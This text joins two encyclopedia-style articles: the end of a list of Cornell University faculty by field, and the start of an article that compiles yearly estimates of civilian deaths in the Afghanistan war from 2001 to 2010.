David P. Williamson (Professor of Operations Research and Information Engineering) — Editor-in-chief of the SIAM Journal on Discrete Mathematics; recipient of the Fulkerson Prize (2000) and the Frederick W. Lanchester Prize (2013)
Social sciences and policy management
Economics
Francine D. Blau (Frances Perkins Professor of Industrial and Labor Relations and Labor Economics since 1995) — received her B.S. in industrial and labor relations in 1966 from Cornell
Kaushik Basu (Carl Marks Professor of Economics) — Indian economist; chief economist of the World Bank; fellow of the Econometric Society
Marco Battaglini (Edward H. Meyer Professor of Economics) — Fellow of the Econometric Society
Lawrence Blume (Goldwin Smith Professor of Economics) — Fellow of the Econometric Society
Morris Copeland (Professor of Economics) — President of the American Economic Association
David Easley (Professor of Economics) — Fellow of the Econometric Society and recipient of the Frederick W. Lanchester Prize (2011)
George M. von Furstenberg (Assistant Professor of Economics) — economist best known for monetary policy, free trade policy and international finance
John Williams Mellor (Professor of Agricultural Economics, Economics, and Asian Studies; Director of the Comparative Economics Program and the Center for International Studies)
Louis Hyman Economic historian
Charles Henry Hull (1864-1936) (Professor of American History) — economist and historian. Edited The Economic Writings of Sir William Petty (1899).
Jeremiah Jenks (Professor of Economics, 1891-1912) — President of the American Economic Association (1906).
John D. Kasarda — earned a bachelor of science degree in applied economics from Cornell in 1967 and masters of business administration degree in Organizational Theory from Cornell in 1968; developer of the aerotropolis concept, which defines the role of airports and aviation-driven economic development in shaping 21st-century urban growth and form; directs the Frank Hawkins Kenan Institute of Private Enterprise at the University of North Carolina at Chapel Hill Kenan-Flagler Business School
James Laurence Laughlin (Professor, 1890–92) — founded the Federal Reserve System
Emmett J. Rice (Professor, 1954–60) — former Governor of the Federal Reserve System
Thomas Sowell (Professor, 1965-1969) — economist; National Humanities Medal (2002)
Holbrook Working (Professor) — economic theorist on hedging, futures prices, market maker behavior, and storage
Brian Wansink (Professor and John S. Dyson Endowed Chair in the Applied Economics and Management Department) -- famously discredited food scientist who was discovered to have repeatedly falsified scientific journal articles
Allyn Young (Professor, 1913-1920) President of the American Economic Association
Psychology
Daryl Bem (Professor of Psychology) — social psychologist, creator of self-perception theory
Sandra Bem (Professor) — psychologist; created Bem Sex Role Inventory; studies gender roles
Stephen J. Ceci (Professor) — researcher of children's courtroom testimony
Michael J. Freeman (visiting assistant professor) — behavior sciences
Thomas Gilovich (Professor of Psychology) — researcher of decision making and behavioral economics
Paulina Kernberg (Professor of Psychiatry, 1978-2006) — child psychiatrist and authority on personality disorders
Lee C. Lee (Professor of Human Development) — researcher in developmental psychology and Asian-American identity and history
Kurt Lewin (Professor) — founder of modern social psychology
Neal E. Miller — American experimental psychologist and a recipient of the National Medal of Science (1964)
Ulrich Neisser (Professor) — studied intelligence and memory
Robert Morris Ogden (1877-1959) — Cornell University graduate, Professor of Psychology, and Cornell's Dean of Arts and Sciences, 1923-1945
David A. Pizarro (Professor of Psychology)
Ritch Savin-Williams (Professor) — sexual orientation researcher
Edward B. Titchener (Professor) — psychologist; inventor of structuralism
Eleanor J. Gibson (Professor of Psychology) — perception and developmental psychology; fellow of the American Academy of Arts and Sciences; member of the National Academy of Sciences; recipient of the National Medal of Science (1992)
James J. Gibson (Professor of Psychology) — perception, member of the National Academy of Sciences
Robert Sternberg (Professor of Human Development) — President of the American Psychological Association; Professor of Psychology and Provost at Oklahoma State University, Dean of Arts and Sciences at Tufts University; IBM Professor of Psychology and Education at Yale University; known for Triarchic theory of intelligence, Triangular theory of love and The Three-Process View; Fellow of the Society of Experimental Psychologists, the American Academy of Arts and Sciences and of the American Association for the Advancement of Science
Anthropology, sociology, other social sciences
Yutaka Tsujinaka (visiting fellow, 1989-1991) — professor of political science
John Adair (Professor, 1948-1960) — anthropologist
Benedict Anderson (Professor Emeritus of International Studies) — author of Imagined Communities
Walter Berns (Professor, 1959-1969) — Constitutional law and political philosophy professor; recipient of National Humanities Medal in 2005
Fred Buttel (Professor of Rural Sociology) — sociologist
John Collier — visual anthropologist
Dian Fossey (Visiting Research Associate, 1980) — anthropologist whose murder was recreated in the film Gorillas in the Mist
Betty Friedan (Distinguished Visiting Professor at the ILR School's Institute for Women and Work, 1998-2006) — feminist, author of The Feminine Mystique
Rose Goldsen — pioneer in studying the effects of television and popular culture
Charles F. Hockett (Professor 1946-1982) — linguist; member of the National Academy of Sciences (1974)
Jay Jasanoff (Professor, 1978-1998) — Indo-European linguistics specialist
Bronisław Malinowski (Lecturer, 1933) — founder of social anthropology
George McGovern (Visiting Lecturer, 1990) — Democratic Nominee for U.S. President (1972) and Senator from South Dakota (1963–81). Taught on US Foreign Policy.
John V. Murra (1968–82) — professor of anthropology, with a focus on the Inca Empire
Alan Nussbaum (Professor of Linguistics, 1997-) — Indo-European linguist and classical philologist
Richard Swedberg (Professor of Sociology, 2002-) — Swedish economic sociologist
Mark P. Talbert — senior lecturer of hotel management, and subject of a viral YouTube video publicly criticizing an unknown student who was yawning loudly in one of his classes
Sidney Tarrow (Maxwell Upson Professor of Government and Sociology) — researcher of comparative politics, social movements, and political sociology
James D. Thompson (Professor) — sociologist
Bassam Tibi (A.D. White Professor-at-Large, 2004-) — political scientist of Islamic countries
Meredith Small (Professor, 1998-) — anthropologist and primatologist, author of several books on child development, including Our Babies, Ourselves
Adam T. Smith (Professor, 2011-) — anthropologist researching the history and societies of the South Caucasus
Barbara Wertheimer (Associate Professor, 1977-1983) — co-ounder and director of the Institute for Women and Work at the Industrial and Labor Relations School.
Humanities
Philosophy
Kwame Anthony Appiah (Professor, 1986–89) — African Studies philosopher and novelist; National Humanities Medal (2012)
Max Black
Allan Bloom (Professor, 1963–70) — philosophy and government, author of Closing of the American Mind, recipient of the National Humanities Medal (1992)
Richard Boyd (Professor) — philosopher
Judith Butler — philosophy 2003-2007; Andrew White Professor at Large
Edwin Arthur Burtt (Professor) — Susan Linn Sage Professor of Philosophy in 1941, author of works on philosophy
Harold F. Cherniss (Professor) — author and expert on the philosophy of Ancient Greece
Morris Raphael Cohen (Lecturer) — Jewish philosopher, lawyer and legal scholar
James Edwin Creighton (Professor) — philosopher
Werner J. Dannhauser (Professor, 1968–92) – political philosophy, expert on Nietzsche and on Judaism and politics
Terence Irwin
Anthony Kenny
Norman Kretzmann
Norman Malcolm (Professor, 1947–58) — Ludwig Wittgenstein scholar
Evander Bradley McGilvary (Susan Linn Sage Professor of Ethics, 1899-1905) — philosophical scholar
John Rawls (Professor) — philosopher; author of A Theory of Justice, Political Liberalism, and The Law of Peoples; National Humanities Medal (1999); namesake of Asteroid 16561 Rawls
Sydney Shoemaker (Susan Linn Sage Professor of Philosophy) — philosopher and metaphysician
Jason Stanley
Brian Weatherson (Associate Professor of Philosophy) — philosopher, metaphysician
Literature
M. H. Abrams — author of the Mirror and the Lamp; literary critic; fellow of the American Academy of Arts and Sciences; recipient of National Humanities Medal (2013)
Frederick Ahl (Professor of Classics and Comparative Literature) — classics scholar
Charles Edwin Bennett (Goldwin Smith Professor of Latin, 1892-?) — classicist
Thomas G. Bergin (Professor of Romance Languages) — author and translator
Hjalmar Hjorth Boyesen (Professor of North European Languages, 1874 to 1880) — author
Hiram Corson (Professor) — professor of literature
Jonathan Culler (Professor) — literary critic and theorist
Louis Dyer (Acting Professor of Greek, 1895–96) — educator and author
Roberto González Echevarría (Faculty 1971-1977) — literature critic; member of the American Academy of Arts and Sciences and recipient of the National Humanities Medal (2010)
Max Farrand (Professor) — author of American historical subjects
Emily Fridlund — author of History of Wolves
Alice Fulton (Professor of Creative Writing) — poet, fiction writer, MacArthur Award (1991)
Henry Louis Gates, Jr. (Professor, 1985–90) — Afro-American Studies scholar; MacArthur Fellow (1981)
Robert Kaske (Professor, 1963–74; Avalon Professor in the Humanities, 1974–89) — scholar of medieval literature
Victor Lange (Professor) — professor of modern languages
Alison Lurie (Professor of Creative Writing, 1968-) — fiction writer, winner of the Pulitzer Prize for Fiction
Paul de Man (Professor) — Professor of Comparative Literature
Vladimir Nabokov (Professor of European and Russian Literature, 1948–58) — author of the novel Lolita
Adrienne Rich (A.D. White Professor-at-Large, 1981–87) — feminist poet
Noliwe Rooks — (W.E.B. Du Bois Professor of Literature) — interdisciplinary scholar
Edgar Rosenberg (Professor, 1965-2002) — Emeritus Professor of English and Comparative Literature, awarded Guggenheim Fellowship in 1973
William Sale Jr. (Goldwin Smith Professor of English, 1959; professor emeritus, 1968)
Nathaniel Schmidt (Professor of Semitic Languages and Literatures) — American orientalist
William De Witt Snodgrass (Professor, 1955–57) — poet, winner of the Pulitzer Prize for Poetry
Melanie Thernstrom (Professor) — author and freelance journalist
Alvin Toffler (Professor) — writer, sociologist, and futurist; Future Shock
Helena Maria Viramontes (Professor of English) — Chicana fiction writer
Wendy Wasserstein (A.D. White Professor-at-Large, 2005–06) — Tony Award and Pulitzer Prize-winning playwright
History
Felix Adler (Professor of Hebrew and Oriental Literature, 1874–76) — early 20th-century Jewish rationalist and social reformer
Glenn C. Altschuler — Thomas and Dorothy Litwin Professor of American Studies; Weiss Presidential Fellow; Dean of the School of Continuing Education and Summer Sessions at Cornell University
Carl L. Becker (John Wendell Anderson Professor of History, 1917–41) — historian; namesake of Carl Becker House
Martin Bernal, (1972-2001) — professor of modern Chinese history; author of Black Athena
Sherman Cochran — Hu Shih Professor Emeritus of Chinese history
David Brion Davis (Professor of History, 1955-1969) — 1967 Pulitzer Prize winner; scholar of slavery and American intellectual history; National Humanities Medal (2014)
Anthony Grafton (Professor) — a leading scholar of the Renaissance
D.G.E. Hall — Emeritus Professor of Southeast Asian History
Charles Henry Hull (1864-1936) — Professor of American History, Dean of the Arts and Sciences College
Donald Kagan (Professor 1960-1969) — classicist; National Humanities Medal (2002)
Michael Kammen (Professor of History) — 1973 Pulitzer Prize winner; U.S. Constitution scholar
Bernard Lewis (Professor 1986-1990) — recipient of National Humanities Medal (2006), the Harvey Prize (1978)
Benzion Netanyahu (Professor of History 1971-1975) — Professor emeritus of history at Cornell University; father of Israeli Prime Minister Benjamin Netanyahu
Walter LaFeber (Steven Weiss Presidential Teaching Fellow of History, 1958-2006) — U.S. foreign policy historian
Fredrik Logevall — (John S. Knight Professor of International Studies) — 2013 Pulitzer Prize winner
Hunter R. Rawlings III — 10th President of Cornell University
Goldwin Smith (Professor of English and Constitutional History, 1868–71) — historian; university reformer; namesake of Goldwin Smith Hall
Carl Stephenson (Professor of Medieval history, 1930-54?) — early 20th-century medievalist
John Szarkowski (A.D. White Professor-at-Large, 1983–89) — photography curator, historian, and critic
Eric Tagliacozzo — historian of modern Southeast Asia
Herbert Tuttle (Professor of international law) — 19th-century historian, author
Andrew Dickson White — first president of Cornell University; first president of the American Historical Association
O. W. Wolters — twentieth-century historian of early Southeast Asia
Music
Malcolm Bilson (Professor) — music historian
David Borden (Director, Digital Music Program) — composer of minimalist music
Donald Byrd — jazz trumpeter and educator
Adolf Dahm-Petersen — voice specialist and teacher of artistic singing
Karel Husa (Professor, 1954-1992) — composer best known for his Music for Prague 1968; won the 1969 Pulitzer Prize for his String Quartet No. 3
Hunter Johnson (Professor) — composer
Alejandro L. Madrid (Professor) — musicologist and ethnomusicologist — recipient of the Dent Medal (2017)
Wynton Marsalis (AD White Professor-at-Large, 2015-2021) — Classical and Jazz musician, composer
James Thomas Quarles — organist and music educator
Steven Stucky — Pulitzer Prize-winning composer
Architecture and design
Esra Akcan — Michael A. McCarthy Professor
Bristow Adams (Professor, 1914–45) — journalist, professor, forester, illustrator
Buckminster Fuller (Professor) — architect and inventor, known for work with geodesic domes
Romaldo Giurgola (Professor) — architect, winner of the AIA Gold Medal
Valerio Olgiati (Guest Professor, 2005) — architect and professor
Colin Rowe (Professor, 1970s) — architectural historian and theoretician
Oswald Mathias Ungers (Professor, 1968-1976) — architect
Raphael Zuber (assistant, 2005) — architect
Fine arts and photography
Michael Ashkin — sculptor
Jacqueline Livingston (Professor of Photography and Art (?-1978) — feminist photographer
Alison Lurie (Professor of Literature, 1970-) — Pulitzer Prize-winning author
Languages
Herbert Deinert — Emeritus Professor of German Studies
Media
Journalism, film, television, theatre
John Cleese (A.D. White Professor-at-Large, 1999-2006; Provost’s Visiting Professor, 2006-) — comedian and actor
David Feldshuh — playwright
John Pilger (Frank H.T. Rhodes Class of '56 University Professor, 2003–06) — journalist and documentary filmmaker
Government, law, business
Iajuddin Ahmed (Visiting Professor, 1984) — President of Bangladesh, 2002–09
Ifeoma Ajunwa — organizational behavior, law
Alfred C. Aman, Jr. (Professor, 1977–91) — Dean of Suffolk University Law School and Indiana University School of Law
G. Robert Blakey professor of law and director of the Cornell Institute on Organized Crime (1973–80) — author of the RICO statute and chief counsel to House Select Committee on Assassinations
Herbert W. Briggs (Professor of Government 1929-1969)- prominent in international law
George W. Casey Jr. (Distinguished Senior Lecturer) — Chief of Staff of the United States Army, 2007–11; Commander of Multi-National Force — Iraq, 2004–07
Michael J. Freeman (Assistant Professor) — inventor; business consultant, behavior sciences
Andrew Hacker (Professor) — political scientist; questioned race, class, and gender in American society
Harry George Henn
Robert C. Hockett
Charles Evans Hughes (Professor, Law School, 1891–93) — Governor of New York, 1907–10; U.S. Supreme Court Associate Justice, 1910–16; U.S. Presidential candidate, 1916; U.S. Secretary of State, 1921–25; Chief Justice of the United States, 1930-41
Irving Ives (Trustee; Dean of Industrial & Labor Relations, 1945–47) — U.S. Senator from New York, 1947–59; namesake of Ives Hall
William A. Jacobson, attorney, Cornell Law School professor, and blogger
Robert Jarrow (Ronald P. and Susan E. Lynch Professor of Investment Management at the Samuel Curtis Johnson Graduate School of Management) — expert on derivative securities; co-developer of Heath-Jarrow-Morton framework and Jarrow-Turnbull model
George McTurnan Kahin (Professor of Government, 1951–88) — expert on Southeast Asia and critic of the Vietnam War
Alfred E. Kahn (Robert Julius Thorne Professor Emeritus of Political Economy; Trustee; Dean of Arts & Sciences) — advisor to President Jimmy Carter on deregulation; economist
Milton R. Konvitz — head of Liberian codification project
Cynthia McKinney (Frank H.T. Rhodes Class of '56 University Professor, 2003–06) — U.S. Representative from Georgia, 1993-2003, 2005-2007
Edwin Barber Morgan (Trustee, 1865–74) — U.S. Representative from New York, 1853–59; Director of American Express
Robert Parris Moses (Frank H.T. Rhodes Class of '56 Professor, 2006-) — a leader of the Civil Rights Movement; creator of the Algebra Project; MacArthur "genius"
John Nesheim — venture capitalist, teaches classes on entrepreneurship
Frances Perkins (Lecturer of Industrial & Labor Relations (?-1965) — U.S. Secretary of Labor, 1933-45); first female U.S. Cabinet member
Richard Neustadt (Professor of Public Administration, 1952?-54?) — political scientist specializing in the United States presidency; advised presidents John F. Kennedy, Lyndon Johnson, and Bill Clinton
Clinton Rossiter (Professor of Government, 1946–70) — political scientist
Frederick A. Sawyer (Professor) — Assistant Secretary of the Treasury, 1873–74; Senator from South Carolina, 1968–73
Martin Shefter (Professor of Government, 1986-) — political scientist
Arthur E. Sutherland, Jr. (Professor of Law, 1945-1950), constitutional and commercial law expert and author; Harvard Law School professor (1950-1970)
Lynn Stout — Distinguished Professor of Corporate & Business Law
Jessica Chen Weiss — Michael J. Zak Professor for China and Asia-Pacific Studies
Education
Arthur S. Adams (University Provost 1946-1948) — President of the University of New Hampshire (1948-1950); President of the American Council on Education (1950-1961)
Charles Kendall Adams (University President, 1885-1892) — President of the University of Wisconsin, 1892-1901
John L. Anderson (Assistant Professor of Chemical Engineering, 1971-1976) — President of the Illinois Institute of Technology (2007-2015), Provost and University Vice President of Case Western Reserve University (2004-2007), Dean of the College of Engineering at Carnegie Mellon University (1996-2004); member of the National Academy of Engineering and Fellow of the American Academy of Arts and Sciences and of the American Association for the Advancement of Science
Elisha Andrews (Faculty 1888-89) — President of Denison University (1875–79) and Brown University (1889-1898); chancellor of the University of Nebraska (1900-1909)
Sanford Soverhill Atwood (University Provost 1955-1963) — President of Emory University (1963-1977)
Sarah Gibson Blanding (Dean of Human Ecology, 1941–46) — President of Vassar College, 1946-1964
Detlev Bronk (Professor of Physiology at Cornell University Medical College 1939-1941) — President of Johns Hopkins University and of the Rockefeller Institute; member of the National Academy of Sciences (1939)
Robert F. Chandler (Professor of Forest Soils) — President of the University of New Hampshire (1950-1954); Winner of the World Food Prize, 1988
James Mason Crafts (Chemistry Professor, 1867-1870) — President of MIT, 1897-1900
Cornelis W. de Kiewiet (University Provost 1948-1951; Acting President 1949-1951) — President of the University of Rochester (1951-1961)
Lloyd Hartman Elliott (Professor of Educational Administration) — President of the University of Maine (1958-1965) and George Washington University (1965-1988)
Thomas E. Everhart (Professor of Electrical Engineering, Dean of Engineering 1979-1984) — Chancellor of the University of Illinois at Urbana-Champaign (1984-1987), president of the California Institute of Technology (1987-1997); member of the National Academy of Engineering and foreign fellow of the Royal Academy of Engineering
W. Kent Fuchs (University Provost, 2009-2014) — President of the University of Florida, 2015-
Richard H. Gallagher (Faculty 1967-1978) — President of Clarkson University (1988-1995) and member of National Academy of Engineering
Charles De Garmo (Faculty) — President of Swarthmore College (1891-1898)
Theodore L. Hullar (Faculty, 1979-1984, 1997-) — Chancellor of UC Riverside(1985-1987) and UC Davis (1987-1994)
Harry Burns Hutchins (Law Faculty 1887-1894) — President of the University of Michigan, 1909-1920
William Rea Keast (Professor, Department Chair, Dean of Arts & Sciences, Vice President for Academic Affairs, 1951-1965) — President of Wayne State University, 1965-1971
David C. Knapp (University Provost, 1974-1978) — President of the University of Massachusetts (1978-1990)
Asa S. Knowles (Vice President for University Development, 1948-1951) — President of the University of Toledo (1951-1958) and of Northeastern University (1959-1975)
Edward H. Litchfield (Dean of School of Business) — twelfth chancellor of the University of Pittsburgh (1956-1965)
Carolyn Martin (University Provost, 2000-2008) — Chancellor of the University of Wisconsin, 2008-2011; president of Amherst College, 2011-
Alan G. Merten (Dean of the Johnson School) — President of George Mason University (1996-2012)
John Niland (Assistant Professor 1970-1972) — Vice-Chancellor and Principal of the University of New South Wales, Australia (1992-2002)
Paul Olum (Faculty, 1949-1974; Mathematics Department Chair, 1963-1966) — President of the University of Oregon, 1980-1989
Russell K. Osgood (Dean and Professor of Law, 1988-1998) — President of Grinnell College 1998-2010
Robert A. Plane (Chemistry Professor; University Provost 1969-1973) — President of Clarkson University (1974-1985) and of Wells College (1991-1995)
Don Michael Randel (University Provost, Dean of Arts & Sciences) — President of the University of Chicago, 2000-2006
Charles Ashmead Schaeffer (Dean of Faculty) — President of the University of Iowa, 1887-1898
Benjamin Ide Wheeler (Professor of Greek and Comparative Philology) — President of the University of California, 1899-1919
Roy A. Young (President of Boyce Thompson Institute for Plant Research of Cornell University, 1980-1986) — Chancellor of the University of Nebraska-Lincoln, 1976-1980
Athletics
Bob Blackman (Head Coach, Football, 1977–82) — member of the College Football Hall of Fame
Charles E. Courtney (Head Coach, Rowing, 1883-1920) — rower and rowing coach
Melody Davidson (Head Coach, Women's Ice Hockey) — head coach of the Canadian national women's hockey team and the Canadian 2006 Winter Olympics women's hockey team
Hilary Gehman (Head Coach, Women's Rowing) — two-time Olympian; six-time member of the U.S. national rowing team
Edward Moylan (Head Coach, Tennis and Squash, 1962–72) — tennis player
Nicole Ross (born 1989) — Olympic foil fencer
Michael Slive (Director of Athletics) — Commissioner of the Southeastern Conference, 2002–present
Phil Sykes (Interim Head Coach, Field Hockey, 2003) — U.S. Olympic field hockey defender
Al Walker (born 1959) - former basketball player and college coach, now a scout for the Detroit Pistons of the NBA
See also
List of Cornell University alumni
References
Further reading
List of faculty holding named professorships
List of A.D. White Professors-at-Large
List of Frank H.T. Rhodes Class of '56 University Professors
Lists of people by university or college in New York (state)
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https://en.wikipedia.org/wiki/Civilian%20casualties%20in%20the%20war%20in%20Afghanistan%20%282001%E2%80%932021%29
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Civilian casualties in the war in Afghanistan (2001–2021)
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During the War in Afghanistan, according to the Costs of War Project the war killed 176,000 people in Afghanistan: 46,319 civilians, 69,095 military and police and at least 52,893 opposition fighters. However, the death toll is possibly higher due to unaccounted deaths by "disease, loss of access to food, water, infrastructure, and/or other indirect consequences of the war." According to the Uppsala Conflict Data Program, the conflict killed 212,191 people. The Cost of War project estimated in 2015 that the number who have died through indirect causes related to the war may be as high as 360,000 additional people based on a ratio of indirect to direct deaths in contemporary conflicts.
The war, launched by the United States as "Operation Enduring Freedom" in 2001, began with an initial air campaign that almost immediately prompted concerns over the number of Afghan civilians being killed. According to The United Nations Assistance Mission in Afghanistan (UNAMA), the majority of civilian casualties were attributed to the Taliban and other anti-government elements each year, with the figure ranging from 61% to 80% depending on the year. Civilian deaths were higher in the latter part of the war, with 2015 and 2016 both consecutively breaking the record of annual civilian deaths. The civilian losses are a continuation of the high civilian casualties experienced during the Soviet–Afghan War in the 1980s, and the three periods of civil war following it: 1989–1992, 1992–1996, and 1996–2001.
Estimates
There is no single official figure for the overall number of civilians killed by the war since 2001, but estimates for specific years or periods have been published by a number of independent organizations and are presented here.
Most, if not all, of the sources state that their estimates are likely to be underestimates.
Aggregation of estimates
*Note: In UNAMA/AIHRC methodology, whenever it remains uncertain whether a victim is a civilian after they have assessed the facts available to them, UNAMA/AIHRC does not count that victim as a possible civilian casualty. The number of such victims is not provided.
Civilian casualties (2001–2003)
According to Marc W. Herold's extensive database, Dossier on Civilian Victims of United States' Aerial Bombing, between 3,100 and 3,600 civilians were directly killed by U.S. Operation Enduring Freedom bombing and U.S. Special Forces attacks between October 7, 2001, and June 3, 2003. This estimate counts only "impact deaths" – deaths that occurred in the immediate aftermath of an explosion or shooting – and does not count deaths that occurred later as a result of injuries sustained, or deaths that occurred as an indirect consequence of the U.S. airstrikes and invasion.
In an opinion article published in August 2002 in the neoconservative magazine The Weekly Standard, Joshua Muravchik of the American Enterprise Institute, a self-described neoconservative, questioned Professor Herold's study entirely on the basis of one single incident that involved 25-93 deaths. He did not provide any estimate his own.
In a pair of January 2002 studies, Carl Conetta of the Project on Defense Alternatives estimates that, at least 4,200-4,500 civilians were killed by mid-January 2002 as a result of the U.S. war and airstrikes, both directly as casualties of the aerial bombing campaign, and indirectly in the humanitarian crisis that the war and airstrikes contributed to.
His first study, "Operation Enduring Freedom: Why a Higher Rate of Civilian Bombing Casualties?", released January 18, 2002, estimates that, at the low end, at least 1,000-1,300 civilians were directly killed in the aerial bombing campaign in just the 3 months between October 7, 2001, to January 1, 2002. The author found it impossible to provide an upper-end estimate to direct civilian casualties from the Operation Enduring Freedom bombing campaign that he noted as having an increased use of cluster bombs. In this lower-end estimate, only Western press sources were used for hard numbers, while heavy "reduction factors" were applied to Afghan government reports so that their estimates were reduced by as much as 75%.
In his companion study, "Strange Victory: A critical appraisal of Operation Enduring Freedom and the Afghanistan war", released January 30, 2002, Conetta estimates that at least 3,200 more Afghans died by mid-January 2002, of "starvation, exposure, associated illnesses, or injury sustained while in flight from war zones", as a result of the U.S. war and airstrikes.
In similar numbers, a Los Angeles Times review of U.S., British, and Pakistani newspapers and international wire services found that between 1,067 and 1,201 direct civilian deaths were reported by those news organizations during the five months from October 7, 2001, to February 28, 2002. This review excluded all civilian deaths in Afghanistan that did not get reported by U.S., British, or Pakistani news, excluded 497 deaths that did get reported in U.S., British, and Pakistani news but that were not specifically identified as civilian or military, and excluded 754 civilian deaths that were reported by the Taliban but not independently confirmed.
According to Jonathan Steele of The Guardian, up to 20,000 Afghans may have died as a consequence of the first four months of U.S. airstrikes on Afghanistan.
Civilian and overall casualties (2005)
An estimated 1,700 people were killed in 2005 according to an Associated Press count, including civilians, insurgents and security forces members. Some 600 policemen were killed between Hamid Karzai's election as president of Afghanistan in early December 2004 and mid-May 2005.
Civilian and overall casualties (2006)
A report by Human Rights Watch said that 4,400 Afghans had been killed in 2006, more than 1,000 of them civilians. Some 2,077 militants were killed in Coalition operations between September 1 and December 13.
An Associated Press tally based on reports from Afghan, NATO and coalition officials puts the overall death toll slightly lower, at about 4,000, most of them militants.
More than 1,900 people were killed in the first eight months of the year by the end of August.
Civilian and overall casualties (2007)
More than 7,700 people were killed in 2007, including: 1,019 Afghan policemen; 4,478 militants; 1,980 civilians and 232 foreign soldiers.
With by far the most comprehensive research into Afghan civilian casualties, Professor Marc W. Herold of the University of New Hampshire estimated in September 2007 that between 5,700 and 6,500 Afghan civilians had been killed so far in the war by US and NATO military forces. He stressed that this was an "absolute minimum" and probably "a vast underestimate" because the figures do not include:
the dead among the tens of thousands of Afghans displaced during the initial military operation in 2001–2002, who ended up in refugee camps or elsewhere with little or no supplies for long periods;
civilian victims of U.S./NATO bombing in mountainous areas, which have few or no communications links or which the U.S./NATO forces "cordon off as part of news management";
and civilians that did not die immediately at the scene but died later of their injuries.
Civilian and overall casualties (2008)
The UN Assistance Mission in Afghanistan (UNAMA) reported that 2,118 civilians were killed as a result of armed conflict in Afghanistan in 2008, the highest civilian death toll since the end of the initial 2001 invasion. This represents an increase of about 40 percent over UNAMA's figure of 1,523 civilians killed in 2007.
On the other hand, according to NATO forces only about 1,000 civilians were killed during the whole year.
Going into further detail, UNAMA reported that out of 2,118 civilian deaths in 2008, 1,160 non-combatants were killed by anti-government forces, accounting for 55% of the 2008 total, while 828 were killed by international-led military forces, accounting for 39% of the 2008 total. The remaining 6% – 130 deaths – could not be attributed to any of the parties since some of them died as a result of crossfire or were killed by unexploded ordnance, for example. Of the civilians killed by anti-government elements, 85% died as a result of suicide or improvised explosive devices. Of the civilians killed by pro-government forces, 64% were killed by U.S./NATO airstrikes.
(Note: UNAMA's report includes in its count of civilian/non-combatant deaths any "members of the military who are not being utilized in counter insurgency operations, including when they are off-duty".)
The Afghan Independent Human Rights Commission (AIHRC) estimated the number of civilians killed as a result of the armed hostilities in 2008 at around 1,800, with about 1,000 killed by militant groups and about 800 killed by U.S.-led military forces.
The Afghanistan Rights Monitor, a Kabul-based rights watchdog, estimated that in 2008 about 3,917 civilians were killed, over 6,800 were wounded, and around 120,000 were forced out of their homes. ARM estimated that insurgents killed over 2,300 civilians, including 930 in suicide bombings, and that U.S.-led military forces killed over 1,620 civilians, with 1,100 civilians killed by U.S.-led NATO and coalition forces and 520 civilians killed by Afghan military forces. Out of these, 680 Afghan civilians killed in air strikes by the US-led forces, with U.S. combat aircraft conducting at least 15,000 close air support missions over the year. Another 2,800 civilians were injured and 80,000 displaced from their homes by the U.S.-led NATO and coalition military operations.
According to Afghanistan's ambassador to Australia, Amanullah Jayhoon, 1,000 Afghan civilians were killed by coalition forces in 2008.
Meanwhile, NATO's International Security Assistance Force has said that only just over 200 civilians were mistakenly killed by foreign troops last year.
According to NATO spokesman James Appathurai, 97 civilian deaths were caused by ISAF in 2008, while 987 civilian deaths were caused by militant groups. The number of civilian deaths caused by US-led military forces operating outside of ISAF was not mentioned in that statement.
In October 2008, Professor Marc W. Herold of the University of New Hampshire reported that the number of civilians killed in direct action by U.S. and other NATO forces from 2005 up that point in 2008 was at least between 2,699 and 3,273. These figures represent underestimates of the number of Afghan civilians killed because civilians are sometimes labelled militants by the military and because these figures only include civilians that died immediately at the scene and not civilians that died later of their injuries.
In 2008, 38 aid workers, almost all from NGO's, were killed, double the number from 2007, and 147 were abducted.
According to the Afghanistan Rights Monitor (ARM) more than 1,100 Afghan police and 530 Afghan soldiers lost their lives in 2008.
According to NATO forces, 5,000 militants were killed in 2008.
Civilian and overall casualties (2009)
2009 was again the most lethal year for Afghan civilians in the American-led war since the fall of the Taliban government in late 2001. According to the UN Assistance Mission in Afghanistan (UNAMA), 2,412 civilians were killed by the war in 2009, a jump of 14% over the number that lost their lives in 2008. An additional 3,566 Afghan civilians were wounded as a result of the war in 2009. Of these, UNAMA attributed two-thirds, or 1,630, of the deaths to the action of anti-government forces, around a quarter, 596, of the deaths to action by American-led military forces, and was not able to clearly attribute another 186 civilian deaths to any one side. Airstrikes continued to be the main cause of civilian deaths resulting from US-led military action, with 359 Afghan civilians killed by US/NATO airstrikes in 2009. In its mid-year report, the UNAMA underlined that "if the non-combatant status of one or more victim(s) remains under significant doubt, such deaths are not included in the overall number of civilian casualties. Thus, there is a significant possibility that UNAMA is under-reporting civilian casualties."
On 11 May 2009, U.S. Secretary of Defense Robert Gates replaced McKiernan with General McChrystal as the new U.S. commander of all foreign military forces in Afghanistan. One of General McChrystal's first announcements was a sharp restriction on the use of airstrikes to reduce civilian casualties. Afghan leaders have long pleaded that foreign troops end airstrikes and nighttime raids of Afghan homes. Consequently, effective 2 July 2009, coalition air and ground combat operations were ordered to take steps to minimize Afghan civilian casualties in accordance with a tactical directive issued by General Stanley A. McChrystal, USA, the commander of the International Security Assistance Force in Afghanistan. In addition to a growing number of Afghan civilians being killed, Afghan populations caught in the eight-year war have also suffered from loss of livelihood, displacement, and the destruction of their homes, property, and personal assets. The issue of civilian casualties is recognized as a problem at the highest levels of ISAF command. In a September 2009 report, General McChrystal wrote "Civilian casualties and collateral damage to homes and property resulting from an over-reliance on firepower and force protection have severely damaged ISAF's legitimacy in the eyes of the Afghan people."
In September 2009, the U.N. reported that August had been the deadliest month of 2009 to date for Afghan civilians as a result of the August 20th election. The U.N. also reported that about 1,500 people were killed from the start of the year through August. The report stated: "August (was) the deadliest month since the beginning of 2009. ... These figures reflect an increasing trend in insecurity over recent months and in elections-related violence." UN Assistance Mission in Afghanistan (UNAMA) attributed 68% of the deaths to anti-government elements and 23% of the deaths to international-led military forces – most of them in airstrikes. In 9% of the civilian deaths, UNAMA was unable to clearly attribute the cause to any one side of the parties in the conflict. The number of civilians killed represented an increase of 31% over the same period in 2008, when 1,145 civilians were killed.
Civilian and overall casualties (2010)
2010 was again the deadliest year for Afghan civilians in the war since the fall of the Taliban government in late 2001, as insecurity and volatility continued to spread to the northern, eastern, and western regions of Afghanistan.
